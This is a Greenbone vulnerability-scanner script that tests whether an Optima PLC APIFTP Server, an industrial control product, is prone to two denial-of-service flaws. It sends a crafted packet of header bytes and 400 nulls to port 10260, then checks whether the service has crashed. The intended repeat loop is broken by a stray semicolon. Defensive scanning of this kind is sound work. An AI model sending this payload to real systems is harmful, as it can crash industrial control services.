Optima PLC APIFTP Server Denial of Service Vulnerabilities

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803037");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2012-5048", "CVE-2012-5049");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-10-04 17:49:57 +0530 (Thu, 04 Oct 2012)");
  script_name("Optima PLC APIFTP Server Denial of Service Vulnerabilities");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(10260);

  script_xref(name:"URL", value:"http://secunia.com/advisories/46830");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50658");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/55712");
  script_xref(name:"URL", value:"http://aluigi.altervista.org/adv/optimalog_1-adv.txt");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICSA-12-271-02.pdf");
  script_xref(name:"URL", value:"http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-332-03.pdf");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to cause the
  application to crash, creating a denial of service condition.");

  script_tag(name:"affected", value:"Optima PLC APIFTP version 2.14.6 and prior.");

  script_tag(name:"insight", value:"Multiple errors in the APIFTP Server (APIFTPServer.exe) when
  handling certain specially crafted packets sent to TCP port 10260 and be
  exploited to cause a NULL pointer dereference or an infinite loop.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"Optima PLC APIFTP Server is prone to multiple denial of service vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

## Default Optima PLC APIFTP server Port
port = 10260;
if(!get_port_state(port)){
  exit(0);
}

soc = open_sock_tcp(port);
if(!soc){
  exit(0);
}

payload = raw_string(0xe8, 0x03, 0x04, 0x00, 0xff,
                     crap(data:raw_string(0x00), length: 400));

send(socket:soc, data: payload);
res = recv(socket:soc, length:300);

if (!res || hexstr(res) !~ "^e803") {
  close(soc);
  exit(0);
}

## Send payload multiple times
for (i=0 ; i< 5; i++);{
  send(socket:soc, data: payload);
}

sleep(7);
close(soc);

soc = open_sock_tcp(port);
if(!soc)
{
  security_message(port);
  exit(0);
}
close(soc);